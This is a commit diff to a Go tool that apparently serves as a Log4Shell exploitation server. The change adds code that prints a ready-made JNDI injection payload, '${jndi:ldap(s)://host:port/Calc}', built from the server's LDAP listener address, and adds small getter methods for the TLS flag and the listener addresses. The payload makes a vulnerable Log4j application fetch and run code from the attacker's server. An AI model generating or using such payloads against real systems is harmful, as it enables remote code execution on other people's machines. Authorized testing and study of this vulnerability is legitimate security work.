main.go: print one example for obfuscate string easily.

Author: For-ACGN

cmd/main.go

@@ -5,6 +5,7 @@ import (
 	"flag"
 	"fmt"
 	"log"
+	"net"
 	"os"
 	"os/signal"
 
@@ -83,6 +84,20 @@ func main() {
 	// start log4shell server
 	server, err := log4shell.New(&config)
 	checkError(err)
+
+	// print one example for obfuscate string easily
+	var ldap string
+	if server.IsEnableTLS() {
+		ldap = "ldaps"
+	} else {
+		ldap = "ldap"
+	}
+	_, port, err := net.SplitHostPort(server.LDAPAddress())
+	checkError(err)
+	address := net.JoinHostPort(config.Hostname, port)
+	example := fmt.Sprintf("${jndi:%s://%s/Calc}", ldap, address)
+	fmt.Printf("example: %s\n\n", example)
+
 	err = server.Start()
 	checkError(err)
 

log4shell.go

@@ -264,3 +264,18 @@ func (srv *Server) Stop() error {
 func (srv *Server) Secret() string {
 	return srv.secret
 }
+
+// IsEnableTLS is used to get the log4shell server is enabled TLS.
+func (srv *Server) IsEnableTLS() bool {
+	return srv.enableTLS
+}
+
+// HTTPAddress is used to get the http listener address.
+func (srv *Server) HTTPAddress() string {
+	return srv.httpListener.Addr().String()
+}
+
+// LDAPAddress is used to get the ldap listener address.
+func (srv *Server) LDAPAddress() string {
+	return srv.ldapListener.Addr().String()
+}